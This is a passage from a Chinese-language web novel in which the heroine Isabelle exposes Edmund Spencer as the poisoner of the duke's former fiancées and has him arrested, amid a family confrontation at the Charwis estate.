埃德蒙死死盯着夫妇二人,拳头攥紧。 局势陡然转变,叫人猝不及防,但他没时间愤怒。 埃德蒙很清楚地知道,他注定痛失一个助手,也没有再弄死这个女人的机会!这次和上次路易莎的小打小闹不一样,事关性命,薇奥莱特绝不会轻拿轻放。 而他的当务之急不再是发泄无能的情绪,而是立刻、马上、洗清自己的嫌疑! 他看着被医生抬进房间的安德鲁,眸光暗沉。 只有死人才不会说话。 安德鲁只会死于诅咒,而非中毒。 想至此,埃德蒙跟着医生走进房间。 对面,伊莎贝尔将埃德蒙眼底的阴暗看得一清二楚。 她悠然地晃着扇子,眼角余光瞥见路易莎凝重的神情。 “你早就猜到是安德鲁?” 伊莎贝尔轻笑:“猜到很容易,埃德蒙的狗,总归就那么几条。” “要想反制安德鲁却不容易。”路易莎比谁都清楚,安德鲁做过多少坏事,就有多么谨慎。 他的衣物和日常食品都经过严格筛查,同样,埃德蒙和她也是如此。 可是就在如此审慎的情形下,安德鲁中招了! “他怎么拿捏的别人,我当然能以同样的方式对付他。”伊莎贝尔轻描淡写。 伊迪斯消息灵通,做事利落。 收到吩咐的第一时间,就锁定了珊迪,并发觉她被安德鲁要挟。 时下,妇女很难离婚,酒鬼丈夫家暴滥赌,却因为孩子无法一走了之。这几乎成为压垮珊迪后半生的阴霾。安德鲁用钱买通酒鬼,又以孩子作为酒鬼手中的人质,逼得珊迪不得不为他做事。 解决的方式很简单,花点钱解决掉家暴酒鬼,锁住珊迪的链子自然就松开了。 这一切看似简单,但每一环必须干净利落,还得在短时间内搞定。 伊莎贝尔用人不疑,知道艾米丽无法完成这种任务,立刻选择伊迪斯。 伊迪斯清醒果断,更明白这是来自主人的考验,也是展示能力的机会。 她的确办得很漂亮,从前接触三教九流的经验发挥了作用。 主仆二人默契配合,完成这次反击。 此刻,路易莎不由得打个寒战! 她忽然意识到,自己和埃德蒙的脖子上也架着一把刀,只看对方想不想动手! 她开始庆幸上次没有轻举妄动,否则安德蒙的今天,就是她的下场! “我说过,我擅长以牙还牙。”伊莎贝尔盯着路易莎,声音平静,“谢谢你今天的提醒。” 虽然毫无用处,但……阴差阳错成为了护身符。 路易莎颤抖着手,摸了摸还跳动的脉搏。 她还活着,可是…… 目光看向走远的埃德蒙。 他恐怕没有这样的好运气。 - 夜幕降临,病房内。 安德鲁尚存一息,虚弱地躺在床上。 突然,门被打开一条缝,安德鲁的眼睛尚未睁开,就被两个大汉捂住嘴,拖出病房。 被塞进麻袋,装进马车时,他才终于看清车外那人的身影。 一瞬间,安德鲁怒火喷涌,奋力挣扎,先是痛哭求饶,而后歇斯底里怒喝。 “埃德蒙!你忘恩负义!我帮你做了多少脏事!你忘了那几个女人是怎么死的吗?!我……” 埃德蒙摆摆手,“堵住他的嘴。” 安德鲁立刻只剩呜咽,涕泗横流,眼底夹杂着绝望和愤恨。 “很可惜,我不能留你全尸,一旦查出你体内的紫藤毒素,结合你的伤寒症状,真相就会浮出水面。”埃德蒙轻笑,任由大汉把安德鲁拖走。 “再见了。”埃德蒙微微俯首,摘帽鞠躬,“感谢你最后的牺牲。” 马车渐行渐远,带走了绝望的安德鲁。 第38章 翌日清晨, 安德鲁暴毙的消息传遍整个庄园。 等众人齐聚一堂,只来得及看见白布盖着脸的尸体被仆人抬走。 埃德蒙满脸悲戚,和路易莎伤感地诉说着对安德鲁的不舍。 安德鲁的死太蹊跷了。 仆人们心存疑虑,但不敢说出口。加上她们对安德鲁实在没什么感情,只能装模作样掉几滴眼泪以示哀悼。低下头时彼此眼神纷飞,交流着隐秘的八卦。 埃莉诺没有制止仆人的议论, 只看向薇奥莱特夫人。 “需要请医生查验吗?夫人。” 薇奥莱特还没说话, 就听埃德蒙打断道:“昨晚家庭医生已经看过了,和那几位女士一样,他死于伤寒。夏天尸体容易腐烂, 我已经安排人尽快焚烧他的遗体, 同时会给比尔一家送上丰厚的抚恤金, 您尽管放心。” 人群里, 伊莎贝尔和海因里希对视一眼。 海因里希冷哼一声,突然上前:“站住,把尸体抬过来,让我们看看。” 已经快到门口的仆人停住脚步, 风吹白布,只露出尸体的一只手。 埃德蒙皱眉, 紧攥手指:“尸体有病毒,奶奶年纪大了, 你想传染给老人家吗?” “我不是三岁小孩,埃德蒙。”海因里希缓缓走近,居高临下俯视他,“真有病毒,怎么前四位死亡的女士没有传染?还是说……安德鲁的死法和她们不一样?” 埃德蒙咬紧牙关,不甘示弱地瞪回去:“你胡说什么?” “是不是胡说, 眼见为实,你不敢掀开白布吗?”海因里希步步紧逼,埃德蒙步步后退,“我可以帮你。” 他的手即将碰到白布。 “海因,住手。” 薇奥莱特突然开口,拐杖敲击地面发出清脆的声响,她缓缓走近尸体,将白布重新盖好,吩咐仆人:“抬出去。” 海因里希微眯眼,冷笑:“祖母,你还要帮他?” 薇奥莱特低声喝道:“我是在帮你。” “婚礼在即,很快你克妻的诅咒就要洗清,斯宾塞将重复荣光。我们不能再闹出丑闻。”老夫人面容前所未有的严肃,视线在两个孙子的脸上流转,充满警告。 木已成舟,无论安德鲁死因是什么,现在最好的结果就是“病亡”! 埃德蒙原本心虚的脸色逐渐得意,底气十足。 “是啊,亲爱的哥哥,别忘了身负诅咒的疯子是谁。” 薇奥莱特喝止:“埃德,别再挑衅你的兄长!你也给我听着!在查尔维斯,你们可以斗得你死我活,但在外面,我不许任何人辱没家族颜面!” 拐杖重重敲击大理石地板,声音如老夫人话语里的警告般冷硬。 伊莎贝尔目睹这一切,垂眸轻笑。 来到查尔维斯之后,她才明白薇奥莱特老夫人为什么拥有说一不二的权力。 早在弗雷德里克老公爵那一辈,查尔维斯庄园就出现经营危机,正是薇奥莱特夫人的到来,帮助斯宾塞家解决了燃眉之急。 老太太出身于七大选帝侯之一的恩斯特家族,当时,恩斯特家只有薇奥莱特一位独女,没有可继承爵位的男丁。 按照限定继承法,只有三种情况下,爵位可由女性继承:一、女王或国王特批,就像初代玛格丽特公爵一样,因护国有功而袭爵。 二、属于历史悠久的古老爵位,诸如诺曼家族这样小而古老的姓氏,因血脉单薄,会有特殊条款关照,可由女性继承。这也是因为小小男爵不足为虑,如果涉及到公爵这个层级,一切都要为政治让步。 三、开创新的爵位。实现的方法很简单,用枪杆子抵着女王的头,逼她赐予一个新爵位,这样就能在封爵当天把“可由女性继承”条款写进法则中。再用枪杆子抵着教皇的头,逼他在仪式上宣布该爵位合理合法,这样就能名正言顺成为女爵,还属于创始者哟~ 某种意义上来说,玛格丽特的爵位来源和第三种方式有异曲同工之妙。 话说回来,恩斯特家族毕竟没有出现玛格丽特这样的狠人,所以只能捏着鼻子认栽,找个旁支男丁继承一大笔家产。奇怪的是,对于一个陌生人要抢自己钱,公爵本人接受度良好。 家里没儿子又不是一两天的事,这就引发恩斯特夫人的怀疑。 不查不知道,一查吓一跳,所谓的旁支男丁根本就是公爵寄养在外的私生子,还不止一个,是一窝。一家子十几个孩子都是老公爵和不同情妇生的。 按照继承法,私生子没有继承权,哪怕家产全部捐赠给慈善协会,都不允许留给私生子。 恩斯特夫人可不是个软柿子,捏着这个把柄,她不哭不闹,第一时间找女儿薇奥莱特商议,收集私生子证据,直接杀到公爵面前逼宫。要么,把事情捅出去,你死后家产全充公,都别过了!要么,除了爵位以外,所有财产通通掏出来给薇奥莱特当嫁妆。 老公爵平生最在乎的就是爵位,这种情况下只能退步,不然什么也没了。 这种情况下,薇奥莱特可以说是带着整个恩斯特家族嫁给斯宾塞公爵。 有其母必有其女,老太太在母亲雷霆手段的教育之下,非常懂得权力的重要。 查尔维斯需要她的钱,可以,但从此以后,她要当斯宾塞家名副其实的主人。直到现在,庄园赖以生存的土地,以及各项投资收支,几乎都掌控在薇奥莱特手中。 当然,这并不代表她与弗雷德里克是纯粹的政治婚姻,相反,他们夫妻的感情很好。 爱情从来都建立在平等的基础上,否则就是其中一个人的自我牺牲。恰恰是因为老太太拥有和丈夫谈判的砝码,整个斯宾塞家没人敢轻视她,所以才能坦率做自己。 这也能够解释,薇奥莱特为什么那么讨厌索菲娅这种私生女,又能以强硬的手段阻止老公爵将她带回家。 直到今时今日,在这个家庭里,薇奥莱特仍然保有十足的话语权。正如此刻,她一开口,无论出于孝顺,还是内心阳奉阴违,总之明面上大家都不会反驳。 但不包括伊莎贝尔。 “薇奥莱特夫人,掩耳盗铃可不是消弭流言的好方法。” 她笑着走上前,拉开剑拔弩张的海因里希。后者看见来人,到底还是收敛气势,老实地站去她身后。 “埃德蒙,你口口声声说为了兄长着想,却又急不可耐,想把安德鲁的死因盖棺定论为诅咒。”伊莎贝尔直视着他,“你在怕什么?” 埃德蒙嗤笑:“怕?我有什么好怕?” 伊莎贝尔缓缓上前,“你当然怕了。” 埃德蒙下意识后退。 伊莎贝尔继续往前:“你怕我们知道安德鲁死亡的真相,你怕我们知道查尔维斯根本没有诅咒,你更怕我们知道,前四位女士,都死于谋杀……” 众人脸色一变,彼此眼神纷飞。 薇奥莱特刚要上前,就被海因里希拦住。 埃德蒙冷笑:“诺曼小姐,说话要讲证据!安德鲁已经死了,前四位未婚妻更是连骨灰都找不到了?谋杀?天大的笑话!” “安德鲁死了吗?”伊莎贝尔轻笑,盯着埃德蒙,再次拉长声音重复:“你确定,他死了吗?” 在极具压迫的注视下,埃德蒙心脏猛然一跳。 “是!他死了!” 话音未落,伊莎贝尔猛然掀开白布! 众人瞪大眼睛,倒吸一口凉气,盯着担架陷入震惊。 “这……这是……谁?” 目光聚焦处,尸体面孔腐烂得看不出人形,只有身上的服饰能够证明身份。 那一截雪白的方巾,正是安德鲁的。 埃德蒙笑容越来越大,一改刚才的慌乱,瞳孔闪烁着快活。 “死的就是安德鲁。”他笑容低沉,盯着伊莎贝尔歪头,“被我骗了吧?现在……告诉我,你的证据呢?” 短暂的对视间,他看见伊莎贝尔眼底滑过意味不明的笑,像嘲讽,又像怜悯。 埃德蒙僵住,一股无名的怒火从心头喷薄而出。 又是这种看傻瓜的眼神!又是这种充满鄙夷和嘲讽的眼神! 从小到大,他对这种眼神再熟悉不过! 来自奶奶的、来自祖父的、甚至有来自于父亲的! 他们总是用冠以同情或关爱的旗号,展露这种怜悯的眼神,告诉他“没关系,比不过海因没关系,他是哥哥……” 凭什么?凭什么要自作主张施舍同情! 年幼的埃德蒙几乎被这种目光逼得发疯! 他恨!恨那个永远高高在上的兄长,恨他爱戴的父亲、恨那群所谓家人看似关心实则鄙夷,恨查尔维斯庄园的所有人从不把“埃德蒙”放在眼里! 现在,连一个小小的公爵未婚妻也对他露出这样的眼神! 埃德蒙的理智被怒火烧成灰烬,他顾不得仆人在场,厉声喝道:“别这么看着我!说!证据呢?” 伊莎贝尔目光平静,没有回答,反而微笑道:“埃德蒙,可喜可贺,你进步了,你终于明白做了坏事要善后。” 埃德蒙牙齿咯咯作响,冷笑:“少废话!你啰嗦什么?没有证据现在就向我道歉!” 伊莎贝尔笑容越发和煦:“埃德蒙先生,我再教你一件事。既然决定杀人,就要干净利落,千万别在没有确认对方是否死亡的情况下就离开。” 迎着讥诮的目光,埃德蒙僵在原地。 “你说什么?” 伊莎贝尔微笑,回头看向海因里希。 “维克托,把人带上来。”海因里希气定神闲。 戴着金丝眼镜的斯文助手出现,身后跟着几位穿制服的卫兵。 众目睽睽之下,气息奄奄的安德鲁被抬了进来。 “天哪?安德鲁在这里!那……那死了的是谁?!” “太可怕了!难道真的是埃德蒙少爷杀人灭口……” …… 窃窃私语不断,埃德蒙的脸色越发难看。 “这不可能!” “我没有死,让你很失望吧?埃德蒙少爷!”安德鲁声音嘶哑,死死盯着埃德蒙,“我对你忠心耿耿,换来的就是你对我痛下杀手!我现在就要揭露你的真面目,你这个……” “安德鲁!”埃德蒙咬牙,冷笑一声:“有些话还是想清楚再说。” 语气里的威胁不言而喻。 安德鲁一愣,骨子里的畏惧令他下意识停顿。 “你是该好好想清楚,安德鲁。”伊莎贝尔轻笑,“他手里无非捏着紫藤香的解药和你的财产。可是一个决心杀人灭口的人,真的愿意救你吗?命都没了,钱还重要吗?” “住口!”埃德蒙厉喝,“你别忘了,是谁害你身中毒药!就是这个女人!” “是的,别忘了,如果没有人指使你下毒,你根本没有接触这份毒药的可能!”伊莎贝尔语速飞快。 埃德蒙:“别听她花言巧语!安德鲁!我才是你的效忠的主人!” “一个把属下推出去挡刀的主人。” “你!”埃德蒙被伊莎贝尔一句又一句的反驳气得脸色煞白,“你闭嘴!” “闭嘴的应该是你!埃德蒙!”安德鲁面目扭曲,突然怒喝,“薇奥莱特夫人,我要向你举证!埃德蒙·斯宾塞是个谋杀惯犯!前四位公爵未婚妻皆惨死于他的手中!” “胡说!你没有证据!”埃德蒙暴怒,立刻要冲上前掐住安德鲁,被维克托拦住。 “希望您保持冷静,埃德蒙少爷。” “我很冷静!”埃德蒙紧攥拳头,扫视全场,一字一顿道,“安德鲁的证词,一文不值!” 安德鲁艰难地喘息,豆大的眼睛怒火灼灼:“我的证词没用?呵!抱歉,我还有纸质证据!” 维克托慢条斯理拿出一叠纸张:“这是安德鲁提供的金钱交易证据,他与埃德蒙少爷有大量资金往来,少量信件中的内容显示,埃德蒙先生存在买凶杀人的嫌疑。” 他又拿出一份文件,递给薇奥莱特:“医生已经从安德鲁身上检查出紫藤花毒素,中毒情况与前四位公爵未婚妻暴毙症状相同。根据女仆珊迪的供状,她受安德鲁胁迫试图用该香料谋害诺曼小姐未遂。以上证据都是白纸黑字,足以证明埃德蒙先生是谋杀四名女士的主谋。” 最后,他看向埃德蒙:“请问,您还要狡辩吗?” 沉默半晌,埃德蒙缓缓露出微笑,一副破罐子破摔的模样。 “狡辩?我不需要狡辩。”埃德蒙笑道,“诺曼小姐,难为你费尽心思救下安德鲁,可惜没用。是,我想杀安德鲁,可那又怎么样?” “您触犯了法律。”维克托推了推眼镜。 “哈哈哈哈哈!法律?”埃德蒙像是听见什么可笑的话,盯着维克托,“维克托,别演得自己都信了,你是第一天来查尔维斯吗?像那位天真的诺曼小姐一样?” 他讥笑,视线滑过众人。 “一个管家罢了,我想杀就杀了。”埃德蒙笑得颤抖,“然后呢?凭借着几份报告,就想把那些陈年案子翻上来吗?搞清楚,那四位小姐的家人都已经认定她们病亡,你们想栽赃我吗?” 他笑着看向薇奥莱特:“祖母,如果那四位家族知道女儿的死有蹊跷,会怎么做?即便斯宾塞贵为公爵,也难以抵挡来自四个家族的愤怒吧?” 薇奥莱特脸色暗沉。 安德鲁气得白眼一翻,昏死过去! 所有人都听明白他的威胁。 他只承认,自己要杀安德鲁。 一个管家罢了,想压住消息,那这件事就出不了查尔维斯。 前提是要薇奥莱特点头。 埃德蒙最擅长用老太太在乎的东西威胁她。 薇奥莱特攥紧拐杖,狠狠闭上眼,忍住想要打杀这个不孝孙子的心! 查尔维斯庄园能够延续至今,其中灌注的都是她与弗雷德里克的心血。 恩斯特与斯宾塞的荣耀汇聚在一处,曾经攀登至帝国顶峰,成为划时代的符号。 自从弗雷德里克死后,整个家族走向衰败。只剩薇奥莱特挺着最后的脊梁,支撑住斯宾塞的尊严。 没有人能理解查尔维斯对于她的意义! 甚至包括这些小斯宾塞们! 她深吸一口气,缓缓吐出,平息内心的怒火。 正要开口时,一道声音出现。 “真巧,昨天晚上,在救下安德鲁先生的同时,我收到四封回信。” 伊莎贝尔轻笑,“埃德蒙,想必你会很有兴趣知道它们来自于哪些人。” 维克托推了推眼镜,适时念出名字。 每念一个家族,埃德蒙的脸色就沉暗一分,连带着薇奥莱特也露出不可置信的神色。 “奥黛丽!你是说,那四位女士的家族知道了真相?!” 伊莎贝尔平静地看向薇奥莱特:“是的,痛失女儿的家人,有资格知道杀人凶手是谁!” 话音刚落,全场陷入诡异的寂静。 路易莎茫然摇头:“奥黛丽!你疯了吗?他们如果联手告我们,整个斯宾塞家都会……” “交出凶手就好。”伊莎贝尔淡然打断,“杀人偿命,多么简单的道理。” 她看向薇奥莱特,轻笑:“埃德蒙的问题,您应该有了答案。即便是斯宾塞家族,也难以抵挡四个家庭的怒火吧?” 除非,交出真凶,严惩埃德蒙! 果然,薇奥莱特飞速想清楚利弊,目光逐渐锐利。 伊莎贝尔垂眸冷笑。 她早就猜到会有这样的局面,所以提前联系四位死者的家族。 查尔维斯葬送了太多性命,那些无辜枉死的人,你可以说她们是因为自己的选择而付出的代价,但这不意味着杀人者可以凭借庇护永远不受惩罚。 薇奥莱特当然有手腕,她将查尔维斯管得像铁桶一般严实。所谓的诅咒、死亡疑点、甚至当年来自于未婚妻家族们的抗议,都被老太太安抚下去,再冠以谣言将所有真相尘封。 她无疑是个合格的主人,即便经历如此多的风波,表面上的斯宾塞仍然保持着体面,位列顶级权贵范畴。 所以,在第一次与路易莎的交锋中,伊莎贝尔就明白,要想揪出埃德蒙,就得先推开挡在前面的薇奥莱特。 他能用脸面威胁你,那么我也能。你不想把事情捅出去,可我偏偏先斩后奏,逼得你不得不做出抉择! 薇奥莱特沉吟片刻,目光逐渐坚毅。 埃德蒙脊背一冷,“奶奶……奶奶!您不能……您不能听她乱说!我没有杀人!那都是海因里希的诅咒!是他不祥!” 薇奥莱特:“你还不悔改!还在狡辩?!” 埃德蒙立刻跪下:“我知错了奶奶!求您别把我交出去!” 路易莎跟着求饶:“祖母,埃德蒙是您的亲孙子,一旦把他送上法庭,他会没命的!” 伊莎贝尔突然嗤笑:“知错?你们夫妻俩真有意思。埃德蒙,你是祖母的孙子,海因里希就不是吗?如果不是你杀害那么多人,栽赃海因里希,斯宾塞会流传诅咒的谣言吗?” 埃德蒙面目扭曲:“住口!你懂什么?!” “我可比你懂得太多了,至少我明白,愚蠢的人还是不要做坏事,否则报应来得很快。”伊莎贝尔嗤笑,话语像刀子,“薇奥莱特夫人,也请您想想清楚,斯宾塞今天遭遇的麻烦,桩桩件件都和埃德蒙脱不开关系吧?当着这么多人的面,你要包庇吗?” 薇奥莱特倏然抬眸,扫了眼噤如寒蝉的众人。 “他们当然畏惧您的威严,不敢捅出去。”伊莎贝尔突然凑近,靠在老夫人的耳边轻声道,“可我不怕,和稀泥这么多年,总要公道一次,您说呢?” 薇奥莱特皱眉:“小奥黛丽,你在威胁我?” “我身在查尔维斯,怎么敢威胁您?”她微笑,顿了顿,回头扫了眼,“我这话,是替海因里希说的。” 身后,海因里希微怔。 “大家族只会由内向外被击溃,如果团结一心,查尔维斯还会陷入今天的局面吗?”伊莎贝尔平静道:“您一直觉得他们在内斗中保持了平衡,可你有没有想过,海因里希如果真的想对埃德蒙下杀手,他还活得到今天吗?” “他一忍再忍,为了家族,更是为了您。”伊莎贝尔顿了顿,“您是他们的祖母,已经失去了两个儿子,他只是不想再看您失去一个孙子。” “而这份纵容,换来的却是埃德蒙的不知天高地厚,和您的视而不见。” 伊莎贝尔话音落地,全场安静。 埃德蒙攥紧拳头,冷笑:“他对我手下留情?哈哈哈哈!真是天大的笑话!” 他看向海因里希,轻声问:“和你的未婚妻说实话吧,你恨极了我不是吗?海因。” 海因里希没有理会埃德蒙,只是抬眸,长久地注视着未婚妻的背影。 薇奥莱特沉默良久,终于冷喝道:“把治安官叫过来!带走埃德蒙!” “我不走!我不走!凭什么轮得我,您就要说公平!” 男仆拖拽着埃德蒙向前,他踉跄挣扎,目眦欲裂:“当初我父亲死的时候,您是怎么说的!!为什么不让海因里希杀人偿命!我不服!” 薇奥莱特:“住口!绑住他!” 埃德蒙被男仆捆住双手,脸色彻底灰暗,路易莎还在求饶,但他知道,已经没用了。 他突然发笑,盯着薇奥莱特的眼睛里充斥着疯狂。 “奶奶,你又一次,又一次舍弃我们……在您和祖父眼里,我和我父亲,算什么?依附斯宾塞家的可怜虫吗?” 父亲乔伊斯被抬出来的画面历历在目,他哭闹着求祖母严惩凶手海因里希,可她是怎么说的? 她说海因里希是斯宾塞的希望,家族无法再失去一位支柱。 埃德蒙觉得很可笑。 像他这荒唐的一生般可笑。 有海因里希在,谁也看不到埃德蒙。就像他的父亲,也生活在兄长路德维希的阴影里,为此蹉跎一世。甚至有时候连乔伊斯都会说,如果他拥有海因里希那样骁勇的儿子,是不是更受父母重视? 为什么连父亲都认为他不如海因?仅仅因为他生来瘦弱,没有让斯宾塞家引以为傲的天资吗?他为此痛恨斯宾塞全家,连带自己的父亲。 可就在目睹乔伊斯死亡的前夜,向来严肃的父亲叫住自己,彻夜长谈。 父子俩说了很多话,似乎要将前半生未尽到的父子之情通通补全。 临走时,乔伊斯摸着早已比自己高半个头的儿子,笑着说:“埃德,你很棒,你一点儿也不比海因差。” 他笑着挥手,和埃德蒙告别,最后那句话是:“你是我的骄傲。” 那一瞬间,前半生的执念似乎就此消解。 埃德蒙茫然站在原地,像个突然得到糖果的小孩,不知所措。 可是第二天,向自己微笑的父亲永远闭上双眼,海因里希满手鲜血,肃立在一旁。 兄弟俩隔着人群对视,那一刻,空气似乎被燃烧的仇恨扭曲。 他们之间,是不死不休的关系。 埃德蒙仰天大笑,笑得眼泪都流了出来。 “你以为诅咒都是谣传吗?你真的以为,海因里希是什么好人吗?杀人偿命哈哈哈哈,好一个杀人偿命!”埃德蒙盯着伊莎贝尔,声音颤抖,眼底闪烁着疯狂的笑,“最该遭报应的就是海因里希·斯宾塞!你的丈夫是公爵又怎么样?哈哈哈哈哈!还不是个疯子!一个杀人不眨眼的疯子!一个被钉在斯宾塞耻辱柱上的疯子!” 他抬头,顿了顿,盯着海因里希,咧开嘴角:“一个说不定哪天就会把自己的枕边人杀了的疯子!哈哈哈哈!” 笑声未尽,埃德蒙被一拳砸倒在地,掉了一颗和血的牙。 众人惊呼,忙上前阻拦,却拦不住海因里希凶猛的攻势,埃德蒙被打得血肉模糊,仍然睁着眼咒骂:“打啊!打死我!你这个六亲不认的刽子手!你这个杀人犯!你现在就杀了我!” 海因里希冷笑,双目逐渐赤红。 “你以为我不敢杀了你吗?” 他的拳头咯吱作响。 这样的挑衅他听过无数次,唯独这一回,点燃了杀意。 兄弟俩相似的瞳孔里恨意滔天,都喷涌着想要掐死对方的怒火。 埃德蒙额头青筋暴起,低笑:“哈哈哈哈哈,那就杀了我啊,你有什么不敢的?你杀了自己的母亲,还杀了我的父亲,甚至还想杀了自己的教父,不差我一个!” 脖子上的力道逐渐加大,埃德蒙喘不过气,面孔却还是狰狞地笑着,一字一顿:“你这辈子就是个孤家寡人!你不配有亲人……我们之间,不死不休……” “动手啊!别犹豫……我要是你,我会立刻了结你的性命!绝不手软!” 他脸色涨红,几乎快要断气,笑容诡异得像是死在海因里希手里,是无比令他痛快的复仇。 “海因里希……杀了我啊……杀了我之后,来世……别做兄弟……” 埃德蒙视线模糊,只能看清兄长的眼睛——黝黑的、充满疯狂的怒火、目光里充满厌恶。 很久以前,久得像是上辈子。 这双眼睛的主人,曾带小小的埃德蒙骑马射箭,亲手教他捕猎。兄长射中猎物,埃德蒙就在原地欢呼转圈,大声地向家人宣布喜讯。 查尔维斯庄园的每一处,都留下过两个小孩的欢声笑语。 原来他曾经,也是以兄长为傲的…… 春去秋来,时过境迁,那些镌刻在记忆里泛黄的画面,早已消失不见,只在回光返照时化为走马灯,提醒他心底还残存着那一丝比恨还长久的情感。 意识逐渐消散,他听见薇奥莱特惊慌喊道:“快!拦住海因!” 可是没人敢上前。 查尔维斯的仆人都见识过海因里希的凶悍,被激怒的藏獒六亲不认,谁都看得出来,这一刻海因里希是真要杀了埃德蒙! 室内器具碎成废墟,硬着头皮围拢上去的男仆都被砸翻在地, 路易莎被埃莉诺拦住,哭得不成人形,只能徒劳地祈求:“放手,海因,放过他!我替埃德道歉!求你了!” 就在埃德蒙快要断气的那一秒,一只手按住海因里希的肩膀。 那只手没用什么力气,与其说是阻拦,不如说是安抚。 “海因,过来。” 海因里希因为愤怒而颤抖的肩膀,离奇地安定下来。 意识混沌间,他忽然想起声音的主人,刚才说的那句话——“我是为海因里希说的……” 其实他从不觉得自己受过什么委屈,也不觉得自己对埃德蒙留了情面。 他只是很厌恶这个弟弟,如果埃德蒙能够消失当然很好,但要自己动手,他却并不想答应。 不是不忍心,单纯地厌烦罢了。 可在未婚妻女士的口中,他好像成了一个饱受欺负的可怜虫。 后知后觉,他忽然意识到,自己可能是受过委屈的。 年幼时所谓的寄予众望,无非因为他是长孙,未来的公爵继承人。祖父和父亲以身作则,告诉他,斯宾塞家的领头羊要学会奉献牺牲,为家族付出一切。 他并不觉得这是难事,渐渐地,连自己的情绪也成为了牺牲品,越长大,就越像湖中心那座雕像。 沉默地,没有属于自己的情感,永远守卫着家族。 他的人生泛善可陈,如同一潭死水,沉默地接受家族安排的所有命运。 这没什么不好,海因里希想。 直到帝国双壁身死,他基因里的疯病被激发,这个时候他才知道,原来看似古井无波的湖面底下埋藏着滚烫的岩浆,说不定哪天就爆发。 当个疯子,也没什么不好。爆发过后,仍是一片荒芜。 他的人生,就是一片荒原。 可现在,有一双冰蓝色的眼睛,注视到了连他自己也未曾看见的角落。 小小的海因里希,不是生下来就是为家族服务的机器。 他会委屈,会追问父亲为什么埃德蒙可以去玩,自己却不能。会半夜哭着找祖母,问母亲为什么不喜欢自己…… 那么多的情绪,渐渐凝固在心底,连自己都忘却。 他的确很喜欢揍埃德蒙,但要杀他,这是第一次。 那句“杀死枕边人”的话,就像火星点燃岩浆,顷刻爆发。 可是熟悉的声音拉回他的神智。 这种模样,是不是很令人害怕? 手上力道渐松,海因里希的瞳孔也逐渐恢复正常。 他垂头,没有抬眸看向身后的未婚妻。 埃德蒙捡回一条命,被路易莎抱住痛哭。 海因里希面无表情,盯着埃德蒙的眼神平静得令人心慌。 路易莎语无伦次:“谢谢你,海因!谢谢你奥黛丽!谢谢你们放过埃德蒙……” “我们可没想放过他。”伊莎贝尔抓住海因里希的手腕,引导他站起身,掏出手帕轻轻擦拭他的掌心。 海因里希从激烈的情绪中抽身,对眼前这一幕有些怔愣,只感觉轻柔的力道在掌心摩擦,泛起麻痒。 冰蓝色的眼睛看向他的眼底,面容冷静。 “杀他,也不嫌脏了你的手?” “你不怕我?” 海因里希的神智逐渐回笼,目光清明。 “你杀的又不是我,我为什么怕你?”伊莎贝尔挑眉。 海因里希愣了数秒,立刻抽回手,那阵麻痒却在心头缭绕,挥之不去。 “我刚刚失去理智了,抱歉。”他皱眉,“维克托,把我的药拿来。” 快速吃下两颗药,他才感觉疯狂跳动的心脏渐渐平复。 治安官适时赶到,埃德蒙不再挣扎,认命地被拖走。 最后那一刻,他看着伊莎贝尔冷笑:“你以为自己已经嬴了吗?我等着看你的报应。” 他顿了顿,笑容意味深长。 伊莎贝尔面容平静。 她当然明白,埃德蒙身后还有其他敌人,远远比这种蠢货更棘手。 可那又怎么样?来一个,她就干掉一个。 话未说完,一壶凉水兜头浇下。 埃德蒙震惊抬眸:“?!” 伊莎贝尔放下水壶,微笑:“现在清醒了吗?以为自己是戏剧里放狠话的反派?” “很抱歉,我向来不会给对手回来的机会,希望你身后的人,也明白这一点。”她招手吩咐维克托把证据交给治安官。 当着众人的面,伊莎贝尔环视四周。 “埃德蒙·斯宾塞犯下的罪行,足够判处绞刑。为了保证法律的公平,在昨天,我已经把这里即将发生的一切写成信件,寄去了墨伦维克首都报纸。” 薇奥莱特和路易莎瞠目结舌,埃德蒙笑容僵住。 好狠的釜底抽薪! 特权阶级向来明白如何利用权力谋私,即便犯下滔天命案,经过周旋,怎么都会留下一条命! 前一刻,他们都如此设想。 甚至连薇奥莱特也并不真的打算舍弃埃德蒙的命,无非是顺应现在的情形,先把孙子移交出去,再同其他四个家族交涉,剩下的都能在谈判桌上用别的筹码搞定。 可是没想到,这个女人彻底把后路断了! 一旦这件事登报,全锡兰公国都会关注这个案子,埃德蒙要想保命,比登天还难。 更重要的是,薇奥莱特一定会再次权衡利弊,一旦营救孙子所付出的代价超出想象,她就会放弃。 埃德蒙太了解祖母了! “你……你疯了吗?!你是未来的斯宾塞公爵夫人!你怎么可以把这种事情抖落出去!” 伊莎贝尔不急不缓,面对着众人:“正是因为,我会是未来斯宾塞家族的女主人,我必须这么做。” 顿了顿,她看向薇奥莱特,眼带深意:“剜掉腐肉,新肉才会生长。这是延续家族生命的奥义。” 薇奥莱特沉默,她的脸色难看至极。 短时间内状况频出,已经让老太太心力交瘁。 她看着伊莎贝尔的蓝眼睛,隐隐觉得,查尔维斯已经迎来了新时代,掌舵人也不再是自己。 她老了…… 海因里希忽然起身,和伊莎贝尔并肩而立。 “把埃德蒙带走,移交治安处,等待审理。没有我的命令,不许任何人探视。” 维克托:“是!” 高大的身影笼罩着伊莎贝尔,像沉默的雕像尽职地履行守卫义务。 他扫视着众人,最后看向薇奥莱特。 “您累了,该去休息了。剩下的事情,我们会处理好。” 薇奥莱特怔然看着孙子和未来孙媳妇站在一起。 像是对她宣告,谁才是查尔维斯的新主人。 良久,她叹了口气,缓缓点头,“埃莉诺,扶我回去。” 老太太步履蹒跚,往外走去。始终挺直的脊背,渐渐弯了下去。 目送她走远,伊莎贝尔和海因里希对视一眼,后者开口道:“现在这里的一切你可以全权处置了。” 伊莎贝尔点头,环视一圈,视线落在安德鲁身上。 装死的安德鲁眉心一跳,默念:看不见我看不见我…… “差点把这个家伙忘了,维克托。”伊莎贝尔眼带讥诮,故意用夸张的口吻道,“让神圣锡兰公国七大家族之首;祖先曾屡建奇功延续荣耀近三百年;拥有最高贵古老的血脉、如今常任七大选帝侯之一,包揽领地自治管辖权;坐拥全国面积最大的查尔维斯庄园且毫不费力地维持它的豪奢、即便每年要花费10000锡兰币……的斯宾塞家族管家,安德鲁·比尔先生,也接受法律制裁吧。” 安德鲁悔得肠子都青了,大喊着饶命。 “你不会以为我会放过你吧?”伊莎贝尔轻笑,摆摆手,“带走。” 专业的助手先生再次上前,不顾安德鲁的求饶,安排士兵将他押下去,移送治安官。 至于埃德蒙会不会心软,赐予背叛者解药,就不是他们该关心的事了。 狗咬狗,一嘴毛。 